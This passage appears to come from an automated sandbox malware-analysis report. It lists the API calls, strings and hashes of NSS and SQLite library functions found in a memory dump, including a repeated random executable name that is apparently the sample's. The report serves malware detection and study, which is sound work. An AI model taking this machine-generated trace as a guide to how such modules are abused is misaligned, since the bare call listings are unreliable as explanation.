free.MOZGLUE(00000000), ref: 6CF244D5
free.MOZGLUE(00000000), ref: 6CF244EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CF241E9
=, xrefs: 6CF244F8
D, xrefs: 6CF24396

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: aca721fdd63a77d31889784fd1317982acef294c5aef54d9a76cb800ca85194e
Instruction ID: 14903903d4f1516e0181b87dffe382ed403dde0c3826897d448cfd642e28cb4e
Opcode Fuzzy Hash: aca721fdd63a77d31889784fd1317982acef294c5aef54d9a76cb800ca85194e
Instruction Fuzzy Hash: BA020571E043519BEF11CFEAC8407AEBFB4AF16308F254129DC66A7742D7B9A844CB91

Function 6CE36D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CF3A8EC,0000006C), ref: 6CE36DC6
memcpy.VCRUNTIME140(?,6CF3A958,0000006C), ref: 6CE36DDB
memcpy.VCRUNTIME140(?,6CF3A9C4,00000078), ref: 6CE36DF1
memcpy.VCRUNTIME140(?,6CF3AA3C,0000006C), ref: 6CE36E06
memcpy.VCRUNTIME140(?,6CF3AAA8,00000060), ref: 6CE36E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE36E38

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CE36E76
TlsGetValue.KERNEL32 ref: 6CE3726F
EnterCriticalSection.KERNEL32(?), ref: 6CE37283

Strings

!, xrefs: 6CE37123

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: f5f7636951286b9898a3bc18281a87774d58145d7b5a4720830a788c8537ad30
Instruction ID: efbfc5da09ff6778cb41df3f08cd5b5de4e52860bac3e128dcca2ecf47574568
Opcode Fuzzy Hash: f5f7636951286b9898a3bc18281a87774d58145d7b5a4720830a788c8537ad30
Instruction Fuzzy Hash: 89729D75D05228DBDF60DF28CC8879ABBB5BF49308F2041A9D80DA7741E735AA85CF90

Function 6CDA3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDA3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CDA3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDA3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDA3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDA3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDA4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDA406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CDA410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDA449C

Strings

%s at line %d of [%.10s], xrefs: 6CDA4495, 6CDA44F9, 6CDA459E, 6CDA4769, 6CDA4809
database corruption, xrefs: 6CDA4490, 6CDA44F4, 6CDA4599, 6CDA4764, 6CDA4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDA4452, 6CDA4486, 6CDA44EA, 6CDA4571, 6CDA4580, 6CDA458F, 6CDA475A, 6CDA47FA

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: a0e4726e3a0b186ef086aab30ba76e5a7db8ea0ba5e07a6e4d5fe5416882d5a0
Instruction ID: e13d66eaee94afa1051a21c3ac59ea6742ffe660ab29dbb03ab7c6ae82cab90a
Opcode Fuzzy Hash: a0e4726e3a0b186ef086aab30ba76e5a7db8ea0ba5e07a6e4d5fe5416882d5a0
Instruction Fuzzy Hash: EC828075A00205DFCB04CFA9C480B9EB7B2BF49318F2595A9D905ABB61DB71EC43CB91

Function 6CE7AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CE7ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CE7ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CE7ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CE7AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE7ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7ADF0

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE7B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE7B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CE7B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7B40C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 05f6eb71186b77f91f8e06af95545cd6a1d1d791414bb2b2b041eaafb01aba5c
Instruction ID: 0c34567e5f97d2bf11da46d52e8bcf2d5b282a7e89bde248934e623f7b27c281
Opcode Fuzzy Hash: 05f6eb71186b77f91f8e06af95545cd6a1d1d791414bb2b2b041eaafb01aba5c
Instruction Fuzzy Hash: E4227C71A04301AFE720CF24CC45B9A77B1AF8430CF34856CE9595B792E772E859CBA6

Function 6CDC1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDC25F3

Strings

no such table: %s, xrefs: 6CDC26AC
cannot have both ON and USING clauses in the same join, xrefs: 6CDC32B5
access to view "%s" prohibited, xrefs: 6CDC2F4A
recursive reference in a subquery: %s, xrefs: 6CDC22E5
no tables specified, xrefs: 6CDC26BE
unsafe use of virtual table "%s", xrefs: 6CDC30D1
a NATURAL join may not have an ON or USING clause, xrefs: 6CDC32C1
H, xrefs: 6CDC322D
cannot join using column %s - column not present in both tables, xrefs: 6CDC32AB
too many columns in result set, xrefs: 6CDC3012
%s.%s, xrefs: 6CDC2D68
table %s has %d values for %d columns, xrefs: 6CDC316C
%s.%s.%s, xrefs: 6CDC302D
H, xrefs: 6CDC329F
no such index: "%s", xrefs: 6CDC319D
too many references to "%s": max 65535, xrefs: 6CDC2FB6
'%s' is not a function, xrefs: 6CDC2FD2
multiple recursive references: %s, xrefs: 6CDC22E0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 2ab3367b7fd673f922a4b6a1042dd0527e79608caeeeadc7b6ca62b87cb4c153
Instruction ID: 70e612caa9d768484e506c2863faa4b1340aa831d778ce0f33635c1604b70234
Opcode Fuzzy Hash: 2ab3367b7fd673f922a4b6a1042dd0527e79608caeeeadc7b6ca62b87cb4c153
Instruction Fuzzy Hash: 9BD27B74F04209CFDB04CF99C484B9EB7BABF4931CF289169D855ABB61D731A842CB52

Function 6CDFECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CDFED38

Part of subcall function 6CD94F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD94FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CDFEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CDFEFE4

Part of subcall function 6CEBDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CD95001,?,00000003,00000000), ref: 6CEBDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CDFF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CDFF129
sqlite3_mprintf.NSS3(optimize), ref: 6CDFF1D1
sqlite3_free.NSS3(?), ref: 6CDFF368

Strings

matchinfo, xrefs: 6CDFF04F, 6CDFF082, 6CDFF0C2, 6CDFF0F2, 6CDFF124, 6CDFF169
fts3, xrefs: 6CDFF247
fts4, xrefs: 6CDFF2AD
fts3tokenize, xrefs: 6CDFF30F
offsets, xrefs: 6CDFEFAF, 6CDFEFDF, 6CDFF01F
optimize, xrefs: 6CDFF199, 6CDFF1CC, 6CDFF211
fts3_tokenizer, xrefs: 6CDFEE1A, 6CDFEEA8
porter, xrefs: 6CDFED97
fts4aux, xrefs: 6CDFECF9
unicode61, xrefs: 6CDFEDB5
snippet, xrefs: 6CDFEF05, 6CDFEF37, 6CDFEF7C
simple, xrefs: 6CDFED79

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 38169718c6f557ff5046f429beae73da0a95bd09c32e97e51d95e2d413ab5e10
Instruction ID: 44189e6b35e363ff4034da5871bcf0f6fbad02fe051121fda94dd3743c61a1b9
Opcode Fuzzy Hash: 38169718c6f557ff5046f429beae73da0a95bd09c32e97e51d95e2d413ab5e10
Instruction Fuzzy Hash: AE0212B2B143009BE7049F71A88572B36F27BC5308F19853DD86A87B25EB75E847C792

Function 6CE77C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE77C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CE77C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE77D1E

Part of subcall function 6CE77870: SECOID_FindOID_Util.NSS3(?,?,?,6CE791C5), ref: 6CE7788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE77D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CE77D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CE77DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE77DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE77DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE77E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CE77E58

Part of subcall function 6CE77870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE791C5), ref: 6CE778BB
Part of subcall function 6CE77870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CE791C5), ref: 6CE778FA
Part of subcall function 6CE77870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CE791C5), ref: 6CE77930
Part of subcall function 6CE77870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE791C5), ref: 6CE77951
Part of subcall function 6CE77870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE77964
Part of subcall function 6CE77870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE7797A
Part of subcall function 6CE77870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CE77988
Part of subcall function 6CE77870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CE77998
Part of subcall function 6CE77870: free.MOZGLUE(00000000), ref: 6CE779A7
Part of subcall function 6CE77870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CE791C5), ref: 6CE779BB
Part of subcall function 6CE77870: PR_GetCurrentThread.NSS3(?,?,?,?,6CE791C5), ref: 6CE779CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE77E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE77F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE77F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE77FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE77FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CE78038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE78050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE78093
SECOID_FindOID_Util.NSS3 ref: 6CE77F29

Part of subcall function 6CE707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE18298,?,?,?,6CE0FCE5,?), ref: 6CE707BF
Part of subcall function 6CE707B0: PL_HashTableLookup.NSS3(?,?), ref: 6CE707E6
Part of subcall function 6CE707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE7081B
Part of subcall function 6CE707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE70825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CE78072
SECOID_FindOID_Util.NSS3 ref: 6CE780F5

Part of subcall function 6CE7BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CE7800A,00000000,?,00000000,?), ref: 6CE7BC3F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: bbbdd99cfe20dcda40fa51c230246eb0358696aa16c9f6ad9952d57551d4198c
Instruction ID: d30d1ef42d6fc9cb9929b3e4553bbb47dae33d536c56b917b73d0d450ab85b2d
Opcode Fuzzy Hash: bbbdd99cfe20dcda40fa51c230246eb0358696aa16c9f6ad9952d57551d4198c
Instruction Fuzzy Hash: 1EE19F716083019FE721CF28C984B5A77F5EF4930CF24492DE99A9BB51E731E805CBA2

Function 6CE01C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE01C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE01C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE01CA1
GetLengthSid.ADVAPI32(?), ref: 6CE01CA9
malloc.MOZGLUE(00000000), ref: 6CE01CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE01CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE01CE4
GetLengthSid.ADVAPI32(?), ref: 6CE01CEC
malloc.MOZGLUE(00000000), ref: 6CE01CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE01D0F
CloseHandle.KERNEL32(?), ref: 6CE01D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE01D4D
GetLastError.KERNEL32 ref: 6CE01D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE01D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE01D7A

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: caa5ce5cf8ab16fc6bc6f35323291e4d76af01a46e1220a884f03809a8d3d6ba
Instruction ID: 3769ff06783d82c1f637e573b202b3eae4439bec67b8f7d5b13c14c3b3f1f6bf
Opcode Fuzzy Hash: caa5ce5cf8ab16fc6bc6f35323291e4d76af01a46e1220a884f03809a8d3d6ba
Instruction Fuzzy Hash: 853183B1E10218AFEF50AF65CC48BAA7BB8FF4A349F004169F65992211E7305994CFA5

Function 6CE0EF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE0EF63

Part of subcall function 6CE187D0: PORT_NewArena_Util.NSS3(00000800,6CE0EF74,00000000), ref: 6CE187E8
Part of subcall function 6CE187D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE0EF74,00000000), ref: 6CE187FD
Part of subcall function 6CE187D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE1884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE0F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE0F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE0F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE0F374
PL_strcasecmp.NSS3(6CF52FD4,?), ref: 6CE0F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE0F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE0F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE0F67D
CERT_DestroyName.NSS3(?), ref: 6CE0F68B

Part of subcall function 6CE18320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE18338
Part of subcall function 6CE18320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE18364
Part of subcall function 6CE18320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE1838E
Part of subcall function 6CE18320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE183A5
Part of subcall function 6CE18320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE183E3

Part of subcall function 6CE184C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE184D9
Part of subcall function 6CE184C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE18528

Part of subcall function 6CE18900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?,00000000), ref: 6CE18955

Strings

oid., xrefs: 6CE0F2CF
", xrefs: 6CE0F21B
JphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSN, xrefs: 6CE0EFC1, 6CE0F014, 6CE0F07F, 6CE0F0AD, 6CE0F23A, 6CE0F264, 6CE0F5CC
*, xrefs: 6CE0F3C6

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: JphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSNCmEhhBwOYpHeGiu.exeJphLBSN$"$*$oid.
API String ID: 4161946812-1879271933
Opcode ID: 5b77c10c148164ad2ee003a562aa63b477b3f556391864d93eef094002554968
Instruction ID: 89c1bb2570f2855d00b4d1ad874d2ce71a40b23e261f2a8fa2601cd09e561093
Opcode Fuzzy Hash: 5b77c10c148164ad2ee003a562aa63b477b3f556391864d93eef094002554968
Instruction Fuzzy Hash: 57222671B083518BD710CE68D49036AB7F6AB8531CF38462EE49587B91E7399C3687CB

Function 6CE03D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE03DFB
__allrem.LIBCMT ref: 6CE03EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE03FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE04047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE040DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE0415F
__allrem.LIBCMT ref: 6CE0416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE04288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE042AB
__allrem.LIBCMT ref: 6CE042B7

Strings

%03d, xrefs: 6CE042E8
%02d, xrefs: 6CE04086
%lld, xrefs: 6CE03FB2
%04d, xrefs: 6CE0407B

Memory Dump Source

